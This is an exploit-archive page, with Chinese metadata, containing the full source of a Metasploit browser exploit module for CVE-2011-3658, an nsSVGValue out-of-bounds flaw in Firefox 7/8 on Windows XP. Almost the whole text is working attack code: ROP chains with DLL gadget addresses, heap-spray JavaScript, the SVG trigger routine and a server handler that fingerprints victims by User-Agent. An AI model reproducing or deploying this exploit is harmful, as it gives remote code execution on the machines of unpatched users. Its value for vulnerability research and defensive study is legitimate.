发布 2012-05-09 漏洞条目

Mozilla Firefox 7 / 8 < 8.0.1 - nsSVGValue Out-of-Bounds Access (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',

'Description' => %q{

This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).

The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)

uses a loop which can result in an out-of-bounds access to attacker-controlled memory.

The mObserver ElementAt() function (which picks up pointers), does not validate

if a given index is out of bound. If a custom observer of nsSVGValue is created,

which removes elements from the original observer,

and memory layout is manipulated properly, the ElementAt() function might pick up

an attacker provided pointer, which can be leveraged to gain remote arbitrary

code execution.

'License' => MSF_LICENSE,

'Author' =>

[

'regenrecht', #vulnerability discovery

'Lincoln<lincoln[at]corelan.be>', #Metasploit module

'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module

'References' =>

[

[ 'CVE', '2011-3658' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],

[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f'

'Payload' =>

{

'BadChars' => "\x00\x0a\x0d\x34",

'DisableNops' => true,

'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[

'Windows XP - Firefox 7',

{

'Ret' => 0x0C0C0C0C,

'OffSet' => 0x606,

'Size' => 0x40000,

'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]

'FF' => 7,

'OS' => 'XP'

}

[

'Windows XP - Firefox 8 (<= 8.0.1)',

{

'Ret' => 0x0C0C0C0C,

'OffSet' => 0x606,

'Size' => 0x40000,

'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]

'FF' => 8,

'OS' => 'XP'

}

]

'DisclosureDate' => 'Dec 6 2011',

'DefaultTarget' => 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def junk(n=4)

return rand_text_alpha_upper(n).unpack("L")[0].to_i

end

def nop

return make_nops(4).unpack("L")[0].to_i

end

def get_rop_chain(ffversion,osversion)

# mona.py ROP chains

rop_chain = []

if ffversion == 7 and osversion == "XP"

rop_chain =

[

0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]

0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]

0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]

0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi

0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp

0x00000001, # 0x00000001-> ebx

0x7819966e, # POP EDX # RETN [MOZCRT19.dll]

0x00001000, # 0x00001000-> edx

0x7813557f, # POP ECX # RETN [MOZCRT19.dll]

0x00000040, # 0x00000040-> ecx

0x781a4da8, # POP EAX # RETN [MOZCRT19.dll]

nop, # nop

0x7813d647, # PUSHAD # RETN [MOZCRT19.dll]

].flatten.pack("V*")

elsif ffversion == 8 and osversion == "XP"

rop_chain =

[

0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]

0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]

0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]

0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]

0x781503c3, # & call esp [MOZCRT19.dll]

0x781391d0, # POP EBX # RETN [MOZCRT19.dll]

0x00000001, # 0x00000001-> ebx

0x781a147c, # POP EDX # RETN [MOZCRT19.dll]

0x00001000, # 0x00001000-> edx

0x7819728e, # POP ECX # RETN [MOZCRT19.dll]

0x00000040, # 0x00000040-> ecx

0x781945b5, # POP EDI # RETN [MOZCRT19.dll]

0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]

0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]

nop, # nop

0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]

].flatten.pack("V*")

end

return rop_chain

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# determine the target FF and OS version

ffversion = ""

osversion = ""

agent = request.headers['User-Agent']

if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/

vprint_error("This browser version is not supported: #{agent.to_s}")

send_not_found(cli)

return

end

my_target = target

if my_target.name == 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/

my_target = targets[1]

elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/

my_target = targets[2]

elsif vprint_error("This Operating System is not supported: #{agent.to_s}")

send_not_found(cli)

return

end

target = my_target

end

# Create the payload

print_status("Creating payload for #{target.name}")

table =

[

0x0c0c0c0c, # index

0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]

].pack("V*")

rop = rand_text_alpha_upper(56)

rop << [ target['PopEax'] ].pack("V")

rop << rand_text_alpha_upper(40)

rop << get_rop_chain(target['FF'],target['OS'])

# Encode table, chain and payload

rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))

code = payload.encoded

code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

# random JavaScript variable names

i_name = rand_text_alpha(rand(10) + 5)

rop_name = rand_text_alpha(rand(10) + 5)

code_name = rand_text_alpha(rand(10) + 5)

offset_length_name = rand_text_alpha(rand(10) + 5)

randnum1_name = rand_text_alpha(rand(10) + 5)

randnum2_name = rand_text_alpha(rand(10) + 5)

randnum3_name = rand_text_alpha(rand(10) + 5)

randnum4_name = rand_text_alpha(rand(10) + 5)

paddingstr_name = rand_text_alpha(rand(10) + 5)

padding_name = rand_text_alpha(rand(10) + 5)

junk_offset_name = rand_text_alpha(rand(10) + 5)

single_sprayblock_name = rand_text_alpha(rand(10) + 5)

sprayblock_name = rand_text_alpha(rand(10) + 5)

varname_name = rand_text_alpha(rand(10) + 5)

thisvarname_name = rand_text_alpha(rand(10) + 5)

container_name = rand_text_alpha(rand(10) + 5)

tls_name = rand_text_alpha(rand(10) + 5)

tl_name = rand_text_alpha(rand(10) + 5)

rect_name = rand_text_alpha(rand(10) + 5)

big_name = rand_text_alpha(rand(10) + 5)

small_name = rand_text_alpha(rand(10) + 5)

listener_name = rand_text_alpha(rand(10) + 5)

run_name = rand_text_alpha(rand(10) + 5)

svg_name = rand_text_alpha(rand(10) + 5)

atl_name = rand_text_alpha(rand(10) + 5)

addr_name = rand_text_alpha(rand(10) + 5)

trans_name = rand_text_alpha(rand(10) + 5)

matrix_name = rand_text_alpha(rand(10) + 5)

# corelan precise heap spray for Firefox >= 7

# + trigger routine

spray = <<-JS

var #{rop_name} = unescape("#{rop_js}");

var #{code_name} = unescape("#{code_js}");

var #{offset_length_name} = #{target['OffSet']};

for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)

{

var #{randnum1_name}=Math.floor(Math.random()*90)+10;

var #{randnum2_name}=Math.floor(Math.random()*90)+10;

var #{randnum3_name}=Math.floor(Math.random()*90)+10;

var #{randnum4_name}=Math.floor(Math.random()*90)+10;

var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();

#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

var #{padding_name} = unescape(#{paddingstr_name});

while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};

#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();

#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();

#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";

eval(#{thisvarname_name});

}

var #{container_name} = [];

var #{tls_name} = [];

var #{rect_name} = null;

var #{big_name} = null;

var #{small_name} = null;

function #{listener_name}() {

#{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);

for each (#{tl_name} in #{tls_name})

#{tl_name}.clear();

for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})

#{container_name}.push(unescape(#{big_name}));

for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})

#{container_name}.push(unescape(#{small_name}));

}

function #{run_name}() {

var #{svg_name} = document.getElementById("#{svg_name}");

#{rect_name} = document.getElementById("#{rect_name}");

for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {

#{rect_name} = #{rect_name}.cloneNode(false);

var #{atl_name} = #{rect_name}.transform;

var #{tl_name} = #{atl_name}.baseVal;

#{tls_name}.push(#{tl_name});

}

const #{addr_name} = unescape("%u0c0c");

#{big_name} = #{addr_name};

while (#{big_name}.length != 0x1000)

#{big_name} += #{big_name};

#{small_name} = #{addr_name};

while (#{small_name}.length != 15)

#{small_name} += #{addr_name};

var #{trans_name} = #{svg_name}.createSVGTransform();

for each (#{tl_name} in #{tls_name})

#{tl_name}.appendItem(#{trans_name});

#{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);

var #{matrix_name} = #{svg_name}.createSVGMatrix();

#{trans_name}.setMatrix(#{matrix_name});

}

# build html

content = <<-HTML

<html>

<head>

<body>

#{spray}

</script>

</head>

</svg>

</body>

</html>

HTML

print_status("Sending HTML")

# Transmit the response to the client

send_response(cli, content, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2012-05-09
类别: remote
平台: windows

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